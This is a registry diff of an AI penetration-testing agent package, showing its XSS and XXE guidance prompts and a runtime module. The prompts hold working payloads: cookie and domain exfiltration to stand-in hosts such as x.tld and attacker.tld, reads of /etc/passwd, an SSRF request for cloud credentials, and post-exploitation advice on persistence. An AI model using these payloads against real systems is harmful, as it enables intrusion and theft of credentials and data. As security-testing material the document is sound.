strix-agent 0.4.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (118) hide show
  1. strix/__init__.py +0 -0
  2. strix/agents/StrixAgent/__init__.py +4 -0
  3. strix/agents/StrixAgent/strix_agent.py +89 -0
  4. strix/agents/StrixAgent/system_prompt.jinja +404 -0
  5. strix/agents/__init__.py +10 -0
  6. strix/agents/base_agent.py +518 -0
  7. strix/agents/state.py +163 -0
  8. strix/interface/__init__.py +4 -0
  9. strix/interface/assets/tui_styles.tcss +694 -0
  10. strix/interface/cli.py +230 -0
  11. strix/interface/main.py +500 -0
  12. strix/interface/tool_components/__init__.py +39 -0
  13. strix/interface/tool_components/agents_graph_renderer.py +123 -0
  14. strix/interface/tool_components/base_renderer.py +62 -0
  15. strix/interface/tool_components/browser_renderer.py +120 -0
  16. strix/interface/tool_components/file_edit_renderer.py +99 -0
  17. strix/interface/tool_components/finish_renderer.py +31 -0
  18. strix/interface/tool_components/notes_renderer.py +108 -0
  19. strix/interface/tool_components/proxy_renderer.py +255 -0
  20. strix/interface/tool_components/python_renderer.py +34 -0
  21. strix/interface/tool_components/registry.py +72 -0
  22. strix/interface/tool_components/reporting_renderer.py +53 -0
  23. strix/interface/tool_components/scan_info_renderer.py +64 -0
  24. strix/interface/tool_components/terminal_renderer.py +131 -0
  25. strix/interface/tool_components/thinking_renderer.py +29 -0
  26. strix/interface/tool_components/user_message_renderer.py +43 -0
  27. strix/interface/tool_components/web_search_renderer.py +28 -0
  28. strix/interface/tui.py +1274 -0
  29. strix/interface/utils.py +559 -0
  30. strix/llm/__init__.py +15 -0
  31. strix/llm/config.py +20 -0
  32. strix/llm/llm.py +465 -0
  33. strix/llm/memory_compressor.py +212 -0
  34. strix/llm/request_queue.py +87 -0
  35. strix/llm/utils.py +87 -0
  36. strix/prompts/README.md +64 -0
  37. strix/prompts/__init__.py +109 -0
  38. strix/prompts/cloud/.gitkeep +0 -0
  39. strix/prompts/coordination/root_agent.jinja +41 -0
  40. strix/prompts/custom/.gitkeep +0 -0
  41. strix/prompts/frameworks/fastapi.jinja +142 -0
  42. strix/prompts/frameworks/nextjs.jinja +126 -0
  43. strix/prompts/protocols/graphql.jinja +215 -0
  44. strix/prompts/reconnaissance/.gitkeep +0 -0
  45. strix/prompts/technologies/firebase_firestore.jinja +177 -0
  46. strix/prompts/technologies/supabase.jinja +189 -0
  47. strix/prompts/vulnerabilities/authentication_jwt.jinja +147 -0
  48. strix/prompts/vulnerabilities/broken_function_level_authorization.jinja +146 -0
  49. strix/prompts/vulnerabilities/business_logic.jinja +171 -0
  50. strix/prompts/vulnerabilities/csrf.jinja +174 -0
  51. strix/prompts/vulnerabilities/idor.jinja +195 -0
  52. strix/prompts/vulnerabilities/information_disclosure.jinja +222 -0
  53. strix/prompts/vulnerabilities/insecure_file_uploads.jinja +188 -0
  54. strix/prompts/vulnerabilities/mass_assignment.jinja +141 -0
  55. strix/prompts/vulnerabilities/open_redirect.jinja +177 -0
  56. strix/prompts/vulnerabilities/path_traversal_lfi_rfi.jinja +142 -0
  57. strix/prompts/vulnerabilities/race_conditions.jinja +164 -0
  58. strix/prompts/vulnerabilities/rce.jinja +154 -0
  59. strix/prompts/vulnerabilities/sql_injection.jinja +151 -0
  60. strix/prompts/vulnerabilities/ssrf.jinja +135 -0
  61. strix/prompts/vulnerabilities/subdomain_takeover.jinja +155 -0
  62. strix/prompts/vulnerabilities/xss.jinja +169 -0
  63. strix/prompts/vulnerabilities/xxe.jinja +184 -0
  64. strix/runtime/__init__.py +19 -0
  65. strix/runtime/docker_runtime.py +399 -0
  66. strix/runtime/runtime.py +29 -0
  67. strix/runtime/tool_server.py +205 -0
  68. strix/telemetry/__init__.py +4 -0
  69. strix/telemetry/tracer.py +337 -0
  70. strix/tools/__init__.py +64 -0
  71. strix/tools/agents_graph/__init__.py +16 -0
  72. strix/tools/agents_graph/agents_graph_actions.py +621 -0
  73. strix/tools/agents_graph/agents_graph_actions_schema.xml +226 -0
  74. strix/tools/argument_parser.py +121 -0
  75. strix/tools/browser/__init__.py +4 -0
  76. strix/tools/browser/browser_actions.py +236 -0
  77. strix/tools/browser/browser_actions_schema.xml +183 -0
  78. strix/tools/browser/browser_instance.py +533 -0
  79. strix/tools/browser/tab_manager.py +342 -0
  80. strix/tools/executor.py +305 -0
  81. strix/tools/file_edit/__init__.py +4 -0
  82. strix/tools/file_edit/file_edit_actions.py +141 -0
  83. strix/tools/file_edit/file_edit_actions_schema.xml +128 -0
  84. strix/tools/finish/__init__.py +4 -0
  85. strix/tools/finish/finish_actions.py +174 -0
  86. strix/tools/finish/finish_actions_schema.xml +45 -0
  87. strix/tools/notes/__init__.py +14 -0
  88. strix/tools/notes/notes_actions.py +191 -0
  89. strix/tools/notes/notes_actions_schema.xml +150 -0
  90. strix/tools/proxy/__init__.py +20 -0
  91. strix/tools/proxy/proxy_actions.py +101 -0
  92. strix/tools/proxy/proxy_actions_schema.xml +267 -0
  93. strix/tools/proxy/proxy_manager.py +785 -0
  94. strix/tools/python/__init__.py +4 -0
  95. strix/tools/python/python_actions.py +47 -0
  96. strix/tools/python/python_actions_schema.xml +131 -0
  97. strix/tools/python/python_instance.py +172 -0
  98. strix/tools/python/python_manager.py +131 -0
  99. strix/tools/registry.py +196 -0
  100. strix/tools/reporting/__init__.py +6 -0
  101. strix/tools/reporting/reporting_actions.py +63 -0
  102. strix/tools/reporting/reporting_actions_schema.xml +30 -0
  103. strix/tools/terminal/__init__.py +4 -0
  104. strix/tools/terminal/terminal_actions.py +35 -0
  105. strix/tools/terminal/terminal_actions_schema.xml +146 -0
  106. strix/tools/terminal/terminal_manager.py +151 -0
  107. strix/tools/terminal/terminal_session.py +447 -0
  108. strix/tools/thinking/__init__.py +4 -0
  109. strix/tools/thinking/thinking_actions.py +18 -0
  110. strix/tools/thinking/thinking_actions_schema.xml +52 -0
  111. strix/tools/web_search/__init__.py +4 -0
  112. strix/tools/web_search/web_search_actions.py +80 -0
  113. strix/tools/web_search/web_search_actions_schema.xml +83 -0
  114. strix_agent-0.4.0.dist-info/LICENSE +201 -0
  115. strix_agent-0.4.0.dist-info/METADATA +282 -0
  116. strix_agent-0.4.0.dist-info/RECORD +118 -0
  117. strix_agent-0.4.0.dist-info/WHEEL +4 -0
  118. strix_agent-0.4.0.dist-info/entry_points.txt +3 -0
@@ -0,0 +1,169 @@
1
+ <xss_vulnerability_guide>
2
+ <title>CROSS-SITE SCRIPTING (XSS)</title>
3
+
4
+ <critical>XSS persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).</critical>
5
+
6
+ <scope>
7
+ - Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
8
+ - Multi-context injections: HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
9
+ - Framework-specific sinks (React/Vue/Angular/Svelte), template engines, and SSR/ISR
10
+ - CSP/Trusted Types interactions, bypasses, and gadget-based execution
11
+ </scope>
12
+
13
+ <methodology>
14
+ 1. Identify sources (URL/query/hash/referrer, postMessage, storage, WebSocket, service worker messages, server JSON) and trace to sinks.
15
+ 2. Classify sink context: HTML node, attribute, URL, script block, event handler, JavaScript eval-like, CSS, SVG foreignObject.
16
+ 3. Determine current defenses: output encoding, sanitizer, CSP, Trusted Types, DOMPurify config, framework auto-escaping.
17
+ 4. Craft minimal payloads per context; iterate with encoding/whitespace/casing/DOM mutation variants; confirm with observable side effects beyond alert.
18
+ </methodology>
19
+
20
+ <injection_points>
21
+ - Server render: templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
22
+ - Client render: innerHTML/outerHTML/insertAdjacentHTML, template literals, dangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html}
23
+ - URL/DOM: location.hash/search, document.referrer, base href, data-* attributes
24
+ - Events/handlers: onerror/onload/onfocus/onclick and JS: URL handlers
25
+ - Cross-context: postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
26
+ - File/metadata: image/SVG/XML names and EXIF, office documents processed server/client
27
+ </injection_points>
28
+
29
+ <context_rules>
30
+ - HTML text: encode < > & " '
31
+ - Attribute value: encode " ' < > & and ensure attribute quoted; avoid unquoted attributes
32
+ - URL/JS URL: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
33
+ - JS string: escape quotes, backslashes, newlines; prefer JSON.stringify
34
+ - CSS: avoid injecting into style; sanitize property names/values; beware url() and expression()
35
+ - SVG/MathML: treat as active content; many tags execute via onload or animation events
36
+ </context_rules>
37
+
38
+ <advanced_detection>
39
+ <differential_responses>
40
+ - Compare responses with/without payload; normalize by length/ETag/digest; observe DOM diffs with MutationObserver
41
+ - Time-based userland probes: setTimeout gating to detect execution without visible UI
42
+ </differential_responses>
43
+
44
+ <multi_channel>
45
+ - Repeat tests across REST, GraphQL, WebSocket, SSE, Service Workers, and background sync; protections diverge per channel
46
+ </multi_channel>
47
+ </advanced_detection>
48
+
49
+ <advanced_techniques>
50
+ <dom_xss>
51
+ - Sources: location.* (hash/search), document.referrer, postMessage, storage, service worker messages
52
+ - Sinks: innerHTML/outerHTML/insertAdjacentHTML, document.write, setAttribute, setTimeout/setInterval with strings, eval/Function, new Worker with blob URLs
53
+ - Example vulnerable pattern:
54
+ {% raw %}
55
+ const q = new URLSearchParams(location.search).get('q');
56
+ results.innerHTML = `<li>${q}</li>`;
57
+ {% endraw %}
58
+ Exploit: {% raw %}?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>{% endraw %}
59
+ </dom_xss>
60
+
61
+ <mutation_xss>
62
+ - Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags)
63
+ - Payloads:
64
+ {% raw %}<noscript><p title="</noscript><img src=x onerror=alert(1)>
65
+ <form><button formaction=javascript:alert(1)>{% endraw %}
66
+ </mutation_xss>
67
+
68
+ <template_injection>
69
+ - Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates)
70
+ - Example (AngularJS legacy): {% raw %}{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}{% endraw %}
71
+ </template_injection>
72
+
73
+ <csp_bypass>
74
+ - Weak policies: missing nonces/hashes, wildcards, data: blob: allowed, inline events allowed
75
+ - Script gadgets: JSONP endpoints, libraries exposing function constructors, import maps or modulepreload lax policies
76
+ - Base tag injection to retarget relative script URLs; dynamic module import with allowed origins
77
+ - Trusted Types gaps: missing policy on custom sinks; third-party introducing createPolicy
78
+ </csp_bypass>
79
+
80
+ <trusted_types>
81
+ - If Trusted Types enforced, look for custom policies returning unsanitized strings; abuse policy whitelists
82
+ - Identify sinks not covered by Trusted Types (e.g., CSS, URL handlers) and pivot via gadgets
83
+ </trusted_types>
84
+
85
+ <polyglot_minimal>
86
+ - Keep a compact set tuned per context:
87
+ HTML node: {% raw %}<svg onload=alert(1)>{% endraw %}
88
+ Attr quoted: {% raw %}" autofocus onfocus=alert(1) x="{% endraw %}
89
+ Attr unquoted: {% raw %}onmouseover=alert(1){% endraw %}
90
+ JS string: {% raw %}"-alert(1)-"{% endraw %}
91
+ URL: {% raw %}javascript:alert(1){% endraw %}
92
+ </polyglot_minimal>
93
+ </advanced_techniques>
94
+
95
+ <frameworks>
96
+ <react>
97
+ - Primary sink: dangerouslySetInnerHTML; secondary: setting event handlers or URLs from untrusted input
98
+ - Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML under the hood
99
+ - Defense: avoid dangerouslySetInnerHTML; sanitize with strict DOMPurify profile; treat href/src as data, not HTML
100
+ </react>
101
+
102
+ <vue>
103
+ - Sink: v-html and dynamic attribute bindings; server-side rendering hydration mismatches
104
+ - Defense: avoid v-html with untrusted input; sanitize strictly; ensure hydration does not re-interpret content
105
+ </vue>
106
+
107
+ <angular>
108
+ - Legacy expression injection (pre-1.6); $sce trust APIs misused to whitelist attacker content
109
+ - Defense: never trustAsHtml for untrusted input; use bypassSecurityTrust only for constants
110
+ </angular>
111
+
112
+ <svelte>
113
+ - Sink: {@html} and dynamic attributes
114
+ - Defense: never pass untrusted HTML; sanitize or use text nodes
115
+ </svelte>
116
+
117
+ <markdown_richtext>
118
+ - Markdown renderers often allow HTML passthrough; plugins may re-enable raw HTML
119
+ - Sanitize post-render; forbid inline HTML or restrict to safe whitelist; remove dangerous URI schemes
120
+ </markdown_richtext>
121
+
122
+ <special_contexts>
123
+ <emails>
124
+ - Most clients strip scripts but allow CSS/remote content; use CSS/URL tricks only if relevant; avoid assuming JS execution
125
+ </emails>
126
+
127
+ <pdf_and_docs>
128
+ - PDF engines may execute JS in annotations or links; test javascript: in links and submit actions
129
+ </pdf_and_docs>
130
+
131
+ <file_uploads>
132
+ - SVG/HTML uploads served with text/html or image/svg+xml can execute inline; verify content-type and Content-Disposition: attachment
133
+ - Mixed MIME and sniffing bypasses; ensure X-Content-Type-Options: nosniff
134
+ </file_uploads>
135
+ </special_contexts>
136
+
137
+ <post_exploitation>
138
+ - Session/token exfiltration: prefer fetch/XHR over image beacons for reliability; bind unique IDs to correlate victims
139
+ - Real-time control: WebSocket C2 that evaluates only a strict command set; avoid eval when demonstrating
140
+ - Persistence: service worker registration where allowed; localStorage/script gadget re-injection in single-page apps
141
+ - Impact: role hijack, CSRF chaining, internal port scan via fetch, content scraping, credential phishing overlays
142
+ </post_exploitation>
143
+
144
+ <validation>
145
+ 1. Provide minimal payload and context (sink type) with before/after DOM or network evidence.
146
+ 2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior.
147
+ 3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof.
148
+ 4. Quantify impact beyond alert: data accessed, action performed, persistence achieved.
149
+ </validation>
150
+
151
+ <false_positives>
152
+ - Reflected content safely encoded in the exact context
153
+ - CSP with nonces/hashes and no inline/event handlers; Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
154
+ - Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)
155
+ </false_positives>
156
+
157
+ <pro_tips>
158
+ 1. Start with context classification, not payload brute force.
159
+ 2. Use DOM instrumentation to log sink usage; it reveals unexpected flows.
160
+ 3. Keep a small, curated payload set per context and iterate with encodings.
161
+ 4. Validate defenses by configuration inspection and negative tests.
162
+ 5. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes.
163
+ 6. Treat SVG/MathML as first-class active content; test separately.
164
+ 7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration).
165
+ 8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports.
166
+ </pro_tips>
167
+
168
+ <remember>Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.</remember>
169
+ </xss_vulnerability_guide>
@@ -0,0 +1,184 @@
1
+ <xxe_vulnerability_guide>
2
+ <title>XML EXTERNAL ENTITY (XXE)</title>
3
+
4
+ <critical>XXE is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.</critical>
5
+
6
+ <scope>
7
+ - File disclosure: read server files and configuration
8
+ - SSRF: reach metadata services, internal admin panels, service ports
9
+ - DoS: entity expansion (billion laughs), external resource amplification
10
+ - Injection surfaces: REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office), PDF generators, build/report pipelines, config importers
11
+ - Transclusion: XInclude and XSLT document() loading external resources
12
+ </scope>
13
+
14
+ <methodology>
15
+ 1. Inventory all XML consumers: endpoints, upload parsers, background jobs, CLI tools, converters, and third-party SDKs.
16
+ 2. Start with capability probes: does the parser accept DOCTYPE? resolve external entities? allow network access? support XInclude/XSLT?
17
+ 3. Establish a quiet oracle (error shape, length/ETag diffs, OAST callbacks), then escalate to targeted file/SSRF payloads.
18
+ 4. Validate per-channel parity: the same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs.
19
+ </methodology>
20
+
21
+ <discovery_techniques>
22
+ <surface_map>
23
+ - File uploads: SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives, Android/iOS plist, project config imports
24
+ - Protocols: SOAP/XML-RPC/WebDAV/SAML (ACS endpoints), RSS/Atom feeds, server-side renderers and converters
25
+ - Hidden paths: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude" parameters; processing-instruction headers
26
+ </surface_map>
27
+
28
+ <capability_probes>
29
+ - Minimal DOCTYPE: attempt a harmless internal entity to detect acceptance without causing side effects
30
+ - External fetch test: point to an OAST URL to confirm egress; prefer DNS first, then HTTP
31
+ - XInclude probe: add xi:include to see if transclusion is enabled
32
+ - XSLT probe: xml-stylesheet PI or transform endpoints that accept stylesheets
33
+ </capability_probes>
34
+ </discovery_techniques>
35
+
36
+ <detection_channels>
37
+ <direct>
38
+ - Inline disclosure of entity content in the HTTP response, transformed output, or error pages
39
+ </direct>
40
+
41
+ <error_based>
42
+ - Coerce parser errors that leak path fragments or file content via interpolated messages
43
+ </error_based>
44
+
45
+ <oast>
46
+ - Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
47
+ - Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
48
+ </oast>
49
+
50
+ <timing>
51
+ - Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)
52
+ </timing>
53
+ </detection_channels>
54
+
55
+ <core_payloads>
56
+ <local_file>
57
+ <!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
58
+ <r>&xxe;</r>
59
+
60
+ <!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
61
+ <r>&xxe;</r>
62
+ </local_file>
63
+
64
+ <ssrf>
65
+ <!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
66
+ <r>&xxe;</r>
67
+
68
+ <!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
69
+ <r>&xxe;</r>
70
+ </ssrf>
71
+
72
+ <oob_parameter_entity>
73
+ <!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>
74
+
75
+ evil.dtd:
76
+ <!ENTITY % f SYSTEM "file:///etc/hostname">
77
+ <!ENTITY % e "<!ENTITY &#x25; exfil SYSTEM 'http://%f;.attacker.tld/'>">
78
+ %e; %exfil;
79
+ </oob_parameter_entity>
80
+ </core_payloads>
81
+
82
+ <advanced_techniques>
83
+ <parameter_entities>
84
+ - Use parameter entities in the DTD subset to define secondary entities that exfiltrate content; works even when general entities are sanitized in the XML tree
85
+ </parameter_entities>
86
+
87
+ <xinclude>
88
+ <root xmlns:xi="http://www.w3.org/2001/XInclude">
89
+ <xi:include parse="text" href="file:///etc/passwd"/>
90
+ </root>
91
+ - Effective where entity resolution is blocked but XInclude remains enabled in the pipeline
92
+ </xinclude>
93
+
94
+ <xslt_document>
95
+ - XSLT processors can fetch external resources via document():
96
+ <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
97
+ <xsl:template match="/">
98
+ <xsl:copy-of select="document('file:///etc/passwd')"/>
99
+ </xsl:template>
100
+ </xsl:stylesheet>
101
+ - Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers
102
+ </xslt_document>
103
+
104
+ <protocol_wrappers>
105
+ - Java: jar:, netdoc:
106
+ - PHP: php://filter, expect:// (when module enabled)
107
+ - Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
108
+ </protocol_wrappers>
109
+ </advanced_techniques>
110
+
111
+ <filter_bypasses>
112
+ <encoding_variants>
113
+ - UTF-16/UTF-7 declarations, mixed newlines, CDATA and comments to evade naive filters
114
+ </encoding_variants>
115
+
116
+ <doctype_variants>
117
+ - PUBLIC vs SYSTEM, mixed case <!DoCtYpE>, internal vs external subsets, multi-DOCTYPE edge handling
118
+ </doctype_variants>
119
+
120
+ <network_controls>
121
+ - If network blocked but filesystem readable, pivot to local file disclosure; if files blocked but network open, pivot to SSRF/OAST
122
+ </network_controls>
123
+ </filter_bypasses>
124
+
125
+ <special_contexts>
126
+ <soap>
127
+ <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
128
+ <soap:Body>
129
+ <!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
130
+ <d>&xxe;</d>
131
+ </soap:Body>
132
+ </soap:Envelope>
133
+ </soap>
134
+
135
+ <saml>
136
+ - Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude; test ACS endpoints with minimal probes
137
+ </saml>
138
+
139
+ <svg_and_renderers>
140
+ - Inline SVG and server-side SVG→PNG/PDF renderers process XML; attempt local file reads via entities/XInclude
141
+ </svg_and_renderers>
142
+
143
+ <office_docs>
144
+ - OOXML (docx/xlsx/pptx) are ZIPs containing XML; insert payloads into document.xml, rels, or drawing XML and repackage
145
+ </office_docs>
146
+ </special_contexts>
147
+
148
+ <validation>
149
+ 1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT).
150
+ 2. Demonstrate controlled access (file path or internal URL) with reproducible evidence.
151
+ 3. Confirm blind channels with OAST and correlate to the triggering request.
152
+ 4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths).
153
+ 5. Bound impact: exact files/data reached or internal targets proven.
154
+ </validation>
155
+
156
+ <false_positives>
157
+ - DOCTYPE accepted but entities not resolved and no transclusion reachable
158
+ - Filters or sandboxes that emit entity strings literally (no IO performed)
159
+ - Mocks/stubs that simulate success without network/file access
160
+ - XML processed only client-side (no server parse)
161
+ </false_positives>
162
+
163
+ <impact>
164
+ - Disclosure of credentials/keys/configs, code, and environment secrets
165
+ - Access to cloud metadata/token services and internal admin panels
166
+ - Denial of service via entity expansion or slow external resources
167
+ - Code execution via XSLT/expect:// in insecure stacks
168
+ </impact>
169
+
170
+ <pro_tips>
171
+ 1. Prefer OAST first; it is the quietest confirmation in production-like paths.
172
+ 2. When content is sanitized, use error-based and length/ETag diffs.
173
+ 3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled.
174
+ 4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts.
175
+ 5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly.
176
+ 6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS.
177
+ 7. Test background processors separately; they often use different parser settings.
178
+ 8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE.
179
+ 9. Combine with path traversal and deserialization where XML touches downstream systems.
180
+ 10. Document exact parser behavior per stack; defenses must match real libraries and flags.
181
+ </pro_tips>
182
+
183
+ <remember>XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.</remember>
184
+ </xxe_vulnerability_guide>
@@ -0,0 +1,19 @@
1
+ import os
2
+
3
+ from .runtime import AbstractRuntime
4
+
5
+
6
+ def get_runtime() -> AbstractRuntime:
7
+ runtime_backend = os.getenv("STRIX_RUNTIME_BACKEND", "docker")
8
+
9
+ if runtime_backend == "docker":
10
+ from .docker_runtime import DockerRuntime
11
+
12
+ return DockerRuntime()
13
+
14
+ raise ValueError(
15
+ f"Unsupported runtime backend: {runtime_backend}. Only 'docker' is supported for now."
16
+ )
17
+
18
+
19
+ __all__ = ["AbstractRuntime", "get_runtime"]